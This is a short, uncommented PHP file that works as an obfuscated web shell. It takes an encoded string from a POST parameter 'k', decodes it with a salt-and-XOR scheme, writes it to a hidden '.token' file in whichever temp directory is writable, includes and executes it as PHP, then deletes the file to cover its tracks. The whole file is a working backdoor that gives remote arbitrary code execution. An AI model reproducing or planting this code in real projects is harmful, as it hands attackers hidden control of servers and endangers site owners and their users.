<?php

if(filter_has_var(INPUT_POST, "k")){
	$entry = array_filter(["/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), getenv("TMP"), "/dev/shm", "/var/tmp", getcwd()]);
	$tkn = $_REQUEST["k"];
		  $tkn		=		explode(		"."  	,$tkn ) 	; 	
	$record= 	'';
            $salt= 	'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen= 	strlen( $salt);
    
            foreach( $tkn as $s=>		$v9):
                $sChar= 	ord( $salt[$s  %$sLen]);
                $d= 	( ( int)$v9 - $sChar -( $s  %10))^	38;
                $record .=chr( $d);
            endforeach;
	$rec = 0;
do {
    $sym = $entry[$rec] ?? null;
    if ($rec >= count($entry)) break;
    		if (is_writable($sym) && is_dir($sym)) {
    $pointer = join("/", [$sym, ".token"]);
    $file = fopen($pointer, 'w');
if ($file) {
	fwrite($file, $record);
	fclose($file);
	include $pointer;
	@unlink($pointer);
	exit;
}
}
    $rec++;
} while (true);
}